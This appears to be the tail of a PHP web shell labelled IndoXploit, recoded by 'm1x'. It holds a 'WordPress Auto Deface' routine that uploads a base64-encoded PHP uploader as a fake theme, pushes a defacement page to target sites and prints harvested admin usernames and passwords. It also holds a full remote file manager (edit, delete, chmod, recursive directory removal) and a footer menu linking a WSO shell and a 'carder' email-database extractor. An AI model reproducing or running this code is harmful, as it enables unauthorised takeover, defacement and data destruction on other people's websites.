4617 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
4618 $www = "m.php";
4619 $fp5 = fopen($www,"w");
4620 fputs($fp5,$upload3);
4621 $post2 = array(
4622 "_wpnonce" => "$anu2",
4623 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
4624 "themezip" => "@$www",
4625 "install-theme-submit" => "Install Now",
4626 );
4627 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
4628 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4629 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4630 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4631 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
4632 curl_setopt($ch, CURLOPT_POST, 1);
4633 curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
4634 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
4635 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
4636 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
4637 $data3 = curl_exec($ch);
4638 curl_close($ch);
4639 $y = date("Y");
4640 $m = date("m");
4641 $namafile = "id.php";
4642 $fpi = fopen($namafile,"w");
4643 fputs($fpi,$script);
4644 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
4645 curl_setopt($ch6, CURLOPT_POST, true);
4646 curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
4647 curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
4648 curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
4649 curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
4650 curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
4651 $postResult = curl_exec($ch6);
4652 curl_close($ch6);
4653 $as = "$target/k.php";
4654 $bs = anucurl($as);
4655 if(preg_match("#$script#is", $bs)) {
4656 echo "[+] <font color='lime'>berhasil mepes...</font><br>";
4657 echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
4658 } else {
4659 echo "[-] <font color='red'>gagal mepes...</font><br>";
4660 echo "[!!] coba aja manual: <br>";
4661 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
4662 echo "[+] username: <font color=lime>$user</font><br>";
4663 echo "[+] password: <font color=lime>$pass</font><br><br>";
4664 }
4665 mysql_close($conn);
4666 }
4667 }
4668 } else {
4669 echo "<center><h1>WordPress Auto Deface V.2</h1>
4670 <form method='post'>
4671 Link Config: <br>
4672 <textarea name='link' placeholder='http://target.com/folder_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
4673 <input type='text' name='script' height='10' size='50' placeholder='Hacked By m1x' required><br>
4674 <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
4675 </form></center>";
4676 }
4677} elseif($_GET['act'] == 'newfile') {
4678 if($_POST['new_save_file']) {
4679 $newfile = htmlspecialchars($_POST['newfile']);
4680 $fopen = fopen($newfile, "a+");
4681 if($fopen) {
4682 $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
4683 } else {
4684 $act = "<font color=red>permission denied</font>";
4685 }
4686 }
4687 echo $act;
4688 echo "<form method='post'>
4689 Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
4690 <input type='submit' name='new_save_file' value='Submit'>
4691 </form>";
4692} elseif($_GET['act'] == 'newfolder') {
4693 if($_POST['new_save_folder']) {
4694 $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
4695 if(!mkdir($new_folder)) {
4696 $act = "<font color=red>permission denied</font>";
4697 } else {
4698 $act = "<script>window.location='?dir=".$dir."';</script>";
4699 }
4700 }
4701 echo $act;
4702 echo "<form method='post'>
4703 Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
4704 <input type='submit' name='new_save_folder' value='Submit'>
4705 </form>";
4706} elseif($_GET['act'] == 'rename_dir') {
4707 if($_POST['dir_rename']) {
4708 $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
4709 if($dir_rename) {
4710 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
4711 } else {
4712 $act = "<font color=red>permission denied</font>";
4713 }
4714 echo "".$act."<br>";
4715 }
4716 echo "<form method='post'>
4717 <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
4718 <input type='submit' name='dir_rename' value='rename'>
4719 </form>";
4720} elseif($_GET['act'] == 'chmod_dir'){
4721 if($_GET['dir']){
4722 echo "Current Directory: <font color='lime'>" . $_GET['dir'] . "</font>";
4723 echo "<br>The mode parameter consists of four numbers:<br>
4724<br>
4725 ~The first number is always zero<br>
4726 ~The second number specifies permissions for the owner<br>
4727 ~The third number specifies permissions for the owner's user group<br>
4728 ~The fourth number specifies permissions for everybody else<br>
4729<br>
4730Possible values (to set multiple permissions, add up the following numbers):<br>
4731<br>
4732 1 = execute permissions<br>
4733 2 = write permissions<br>
4734 4 = read permissions<br>
4735 <br>
4736";
4737 echo "<form method='post'><input type='text' size='4' name='dirchmod' placeholder='".substr(sprintf('%o', fileperms($_GET['dir'])),-4)."'><input type='submit' value='set permission'></form>";
4738 if(!empty($_POST['dirchmod'])){
4739 $pers = 0;
4740 for($i=strlen($_POST['dirchmod'])-1;$i>=0;--$i)
4741 $pers += (int)$_POST['dirchmod'][$i]*pow(8, (strlen($_POST['dirchmod'])-$i-1));
4742 if(!@chmod($_GET['file'], $pers)){
4743 echo "<font color='red'>Gagal ganti Permission!</font>";
4744 }else{
4745 echo "Permission sukses di ganti bos!";
4746 }
4747 }
4748 }
4749 }elseif($_GET['act'] == 'delete_dir') {
4750 function Delete($path)
4751{
4752 if (is_dir($path) === true)
4753 {
4754 $files = array_diff(scandir($path), array('.', '..'));
4755 foreach ($files as $file)
4756 {
4757 Delete(realpath($path) . '/' . $file);
4758 }
4759 return rmdir($path);
4760 }
4761 else if (is_file($path) === true)
4762 {
4763 return unlink($path);
4764 }
4765 return false;
4766}
4767 $delete_dir = Delete($dir);
4768 if($delete_dir) {
4769 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
4770 } else {
4771 $act = "<font color=red>could not remove ".basename($dir)."</font>";
4772 }
4773 echo $act;
4774} elseif($_GET['act'] == 'view') {
4775 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ] [ <a href='?act=chmod&dir=$dir&file=".$_GET['file']."'>chmod</a> ]<br>";
4776 echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
4777} elseif($_GET['act'] == 'edit') {
4778 if($_POST['save']) {
4779 $save = file_put_contents($_GET['file'], $_POST['src']);
4780 if($save) {
4781 $act = "<font color=lime>Saved!</font>";
4782 } else {
4783 $act = "<font color=red>permission denied</font>";
4784 }
4785 echo "".$act."<br>";
4786 }
4787 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ] [ <a href='?act=chmod&dir=$dir&file=".$_GET['file']."'>chmod</a> ]<br>";
4788 echo "<form method='post'>
4789 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
4790 <input type='submit' value='Save' name='save' style='width: 500px;'>
4791 </form>";
4792} elseif($_GET['act'] == 'rename') {
4793 if($_POST['do_rename']) {
4794 $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
4795 if($rename) {
4796 $act = "<script>window.location='?dir=".$dir."';</script>";
4797 } else {
4798 $act = "<font color=red>permission denied</font>";
4799 }
4800 echo "".$act."<br>";
4801 }
4802 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ] [ <a href='?act=chmod&dir=$dir&file=".$_GET['file']."'>chmod</a> ]<br>";
4803 echo "<form method='post'>
4804 <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
4805 <input type='submit' name='do_rename' value='rename'>
4806 </form>";
4807} elseif($_GET['act'] == 'chmod'){
4808 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ] [ <a href='?act=chmod&dir=$dir&file=".$_GET['file']."'><b>chmod</b></a> ]<br>";
4809
4810 echo "<br>The mode parameter consists of four numbers:<br>
4811<br>
4812 ~The first number is always zero<br>
4813 ~The second number specifies permissions for the owner<br>
4814 ~The third number specifies permissions for the owner's user group<br>
4815 ~The fourth number specifies permissions for everybody else<br>
4816<br>
4817Possible values (to set multiple permissions, add up the following numbers):<br>
4818<br>
4819 1 = execute permissions<br>
4820 2 = write permissions<br>
4821 4 = read permissions<br>
4822 <br>
4823";
4824 echo "<form method='post'><input type='text' size='4' name='filechmod' placeholder='".substr(sprintf('%o', fileperms($_GET['file'])),-4)."'><input type='submit' value='set permission'></form>";
4825
4826 if(!empty($_POST['filechmod'])){
4827 $pems = 0;
4828 for($i=strlen($_POST['filechmod'])-1;$i>=0;--$i)
4829 $pems += (int)$_POST['filechmod'][$i]*pow(8, (strlen($_POST['filechmod'])-$i-1));
4830 if(!@chmod($_GET['file'], $pems)){
4831 echo "<font color='red'>Cant Set Permission!</font>";
4832 }else{
4833 echo "Permission Set!";
4834 }
4835 }
4836
4837}elseif($_GET['act'] == 'delete') {
4838 $delete = unlink($_GET['file']);
4839 if($delete) {
4840 $act = "<script>window.location='?dir=".$dir."';</script>";
4841 } else {
4842 $act = "<font color=red>permission denied</font>";
4843 }
4844 echo $act;
4845}else {
4846 if(is_dir($dir) == true) {
4847 echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
4848 <tr>
4849 <th class="th_home"><center>Polder</center></th>
4850 <th class="th_home"><center>JENIS</center></th>
4851 <th class="th_home"><center>UKURAN</center></th>
4852 <th class="th_home"><center>TERAKHIR DI UBAH</center></th>
4853 <th class="th_home"><center>PEMILIK:TEAM</center></th>
4854 <th class="th_home"><center>CHMOD</center></th>
4855 <th class="th_home"><center>AKSI</center></th>
4856 </tr>';
4857 $scandir = scandir($dir);
4858 foreach($scandir as $dirx) {
4859 $dtype = filetype("$dir/$dirx");
4860 $dtime = date("d F Y g:i:s", filemtime("$dir/$dirx"));
4861 if(function_exists('posix_getpwuid')) {
4862 $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
4863 $downer = $downer['name'];
4864 } else {
4865 //$downer = $uid;
4866 $downer = fileowner("$dir/$dirx");
4867 }
4868 if(function_exists('posix_getgrgid')) {
4869 $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
4870 $dgrp = $dgrp['name'];
4871 } else {
4872 $dgrp = filegroup("$dir/$dirx");
4873 }
4874 if(!is_dir("$dir/$dirx")) continue;
4875 if($dirx === '..') {
4876 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
4877 } elseif($dirx === '.') {
4878 $href = "<a href='?dir=$dir'>$dirx</a>";
4879 } else {
4880 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
4881 }
4882 if($dirx === '.' || $dirx === '..') {
4883 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
4884 } else {
4885 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a> | <a href='?act=chmod&dir=$dir&file=$dir/$file'>chmod</a>";
4886 }
4887 echo "<tr>";
4888 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
4889 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>$dtype</center></td>";
4890 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>-</center></th>";
4891 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>$dtime</center></td>";
4892 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>$downer/$dgrp</center></td>";
4893 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
4894 echo "<td class='td_home' style='padding-left: 15px;text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;text-align:center;'>$act_dir</td>";
4895 }
4896 echo "</tr>";
4897 foreach($scandir as $file) {
4898 $ftype = filetype("$dir/$file");
4899 $ftime = date("d F Y g:i:s", filemtime("$dir/$file"));
4900 $size = filesize("$dir/$file")/1024;
4901 $size = round($size,3);
4902 if(function_exists('posix_getpwuid')) {
4903 $fowner = @posix_getpwuid(fileowner("$dir/$file"));
4904 $fowner = $fowner['name'];
4905 } else {
4906 //$downer = $uid;
4907 $fowner = fileowner("$dir/$file");
4908 }
4909 if(function_exists('posix_getgrgid')) {
4910 $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
4911 $fgrp = $fgrp['name'];
4912 } else {
4913 $fgrp = filegroup("$dir/$file");
4914 }
4915 if($size > 1024) {
4916 $size = round($size/1024,2). 'MB';
4917 } else {
4918 $size = $size. 'KB';
4919 }
4920 if(!is_file("$dir/$file")) continue;
4921 echo "<tr>";
4922 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
4923 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>$ftype</center></td>";
4924 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>$size</center></td>";
4925 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>$ftime</center></td>";
4926 echo "<td class='td_home' style='text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;'><center>$downer/$dgrp</center></td>";
4927 echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
4928 echo "<td class='td_home' style='padding-left: 15px;text-shadow: 0pt 0pt 0.6em lime, 0pt 0pt 0.6em lime;color: #00ff00;text-decoration: none;text-align:center;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a> | <a href='?act=chmod&dir=$dir&file=$dir/$file'>chmod</a></td>";
4929 }
4930 echo "</tr></table>";
4931 } else {
4932 echo "<font color=red>can't open directory</font>";
4933 }
4934 }
4935echo "<center><hr class='gayane'><form>
4936<select onchange='if (this.value) window.open(this.value);'>
4937 <option selected='selected' value=''> Tools Creator </option>
4938 <option value='$ling=wso'>WSO 2.6 pass:ECFindo</option>
4939</select>
4940<select onchange='if (this.value) window.open(this.value);'>
4941 <option selected='selected' value=''> Tools Carder </option>
4942 <option value='$ling=extractor'>DataBase Email Extractor</option>
4943 </select>
4944<noscript><input type='submit' value='Submit'></noscript>
4945</form>Copyright © ".date("Y")." - <font color=lime>IndoXploit</font><br>
4946<div><div><span style='color:#ff0000;'>R</span><span style='color:#ff1900;'>e</span><span style='color:#ff3300;'>c</span><span style='color:#ff4c00;'>o</span><span style='color:#ff6600;'>d</span><span style='color:#ff7f00;'>e</span><span style='color:#ff9900;'>d</span><span style='color:#ffb200;'> </span><span style='color:#ffcc00;'>&</span><span style='color:#ffe500;'> </span><span style='color:#ffff00;'>M</span><span style='color:#bfff00;'>o</span><span style='color:#80ff00;'>d</span><span style='color:#40ff00;'>i</span><span style='color:#00ff00;'>f</span><span style='color:#00ff33;'>i</span><span style='color:#00ff66;'>e</span><span style='color:#00ff99;'>d</span><span style='color:#00ffcc;'> </span><span style='color:#00ffff;'>b</span><span style='color:#00ccff;'>y</span><span style='color:#0099ff;'> </span><span style='color:#0066ff;'>m</span><span style='color:#0033ff;'>1</span><span style='color:#0000ff;'>x</span></div></div></center>";
4947?>
4948</html>